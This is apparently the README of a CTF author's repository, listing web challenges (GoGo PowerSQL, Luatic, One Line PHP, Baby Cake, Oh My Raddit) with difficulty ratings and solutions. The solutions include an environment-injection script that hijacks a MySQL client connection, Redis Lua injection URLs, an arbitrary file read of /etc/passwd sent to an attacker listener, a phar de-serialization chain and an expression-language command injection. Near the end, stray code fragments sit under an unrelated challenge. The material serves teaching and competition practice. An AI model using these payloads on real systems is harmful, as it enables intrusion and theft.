My CTF Web Challenges

This is the repository of all CTF challenges I made, including the source code, write-up and idea explanation! Hope you like it :)

P.s. BTW, the Babyfirst series and One Line PHP Challenge are my favorite challenges. If you haven't enough time, please look them at least!

Bounty Pl33z

Difficulty: ★★★☆
Solved: 30 / 1147
Tag: XSS

Source Code

GoGo PowerSQL

Difficulty: ★★★☆
Solved: 16 / 1147
Tag: Environment Injection, MySQL Client Attack

Source Code

Solution

  1. Buffer Overflow the DB_HOST in BSS
  2. Due to the patch, we can pollute environment variable which are not in the Blacklist.
  3. Hijack MySQL connection by ENV such as LOCALDOMAIN or HOSTALIAES
  4. Read /FLAG by LOAD DATA LOCAL INFILE.
import requests

payload = ['x=x' for x in range(254)]
payload.append('name=x')
payload.append('HOSTALIASES=/proc/self/fd/0')
payload.append('orangeeeee=go')
payload = '&'.join(payload)

data = 'orangeeeee my.orange.tw'

r = requests.post('http://13.231.38.172/cgi-bin/query?'+payload, data=data)
print r.content
$ git clone https://github.com/lcark/MysqlClientAttack.git
$ cd MysqlClientAttack
$ python main.py -F /FLAG

Luatic

Difficulty: ★★☆
Solved: 42 / 1147
Tag: WhiteBox, Redis, Lua

Source Code

Solution

  1. Override PHP global variables.
  2. Redis implements eval command by string concatenations so that we can escape the original Lua function to override global objects.
http://54.250.242.183/luatic.php
?_POST[TEST_KEY]=return 1 end function math:random() return 2
&_POST[TEST_VALUE]=0
&_POST[MY_SET_COMMAND]=eval
&_POST[token]=<token>
&_POST[guess]=2

http://54.250.242.183/luatic.php
?_POST[token]=<token>
&_POST[guess]=2

Unintended Solution

  • Lua is so magic that there are several unintended solutions. Sorry for the imperfect challenge :(

One Line PHP Challenge

Difficulty: ★★★★
Solved: 3 / 1816
Tag: PHP

Source Code

Solution

P.S. This is a default installation PHP7.2 + Apache on Ubuntu 18.04

  1. Control partial session file content by PHP_SESSION_UPLOAD_PROGRESS
  2. Bypass session.upload_progress.cleanup = On by race condition or slow query
  3. Control the prefix to @<?php by chaining PHP wrappers

Write Ups

Baby Cake

Difficulty: ★★★
Solved: 4 / 1816
Tag: Code Review, PHP, De-serialization

Source Code

Solution

Due to the implement of CURLOPT_SAFE_UPLOAD in CakePHP FormData.php. We can read arbitrary files!

# arbitrary file read, listen port 12345 on your server
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@/etc/passwd

# arbitrary de-serialization the Monolog POP chain
http://13.230.134.135/
?url=http://your_ip:12345/
&data[x]=@phar://../tmp/cache/mycache/[you_ip]/[md5_of_url]/body.cache

Write Ups

Oh My Raddit

Difficulty: ★★☆
Solved: 27 / 1816
Tag: Observation, DES checksum, Crypto, Web

Source Code

Solution

  1. Know ECB mode from block frequency analysis
  2. Know block size = 8 from cipher length
  3. From the information above, it's reasonable to use DES in real world
  4. The most common block is 3ca92540eb2d0a42(always in the cipher end). We can guess it's the padding \x08\x08\x08\x08\x08\x08\x08\x08
  5. Due to the checking parity in DES, we can reduce the keyspace from 26(abcdefghijklmnopqrstuvwxyz) to 13(acegikmoqsuwy)
    • Break in 1 second with HashCat
    • Break in 10 minutes with single thread Python

Unintended solution

  • Register an account
  • Update description to
  • Login and access
/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}

GET /angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription()) HTTP/1.1
host: 1.2.3.4

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }
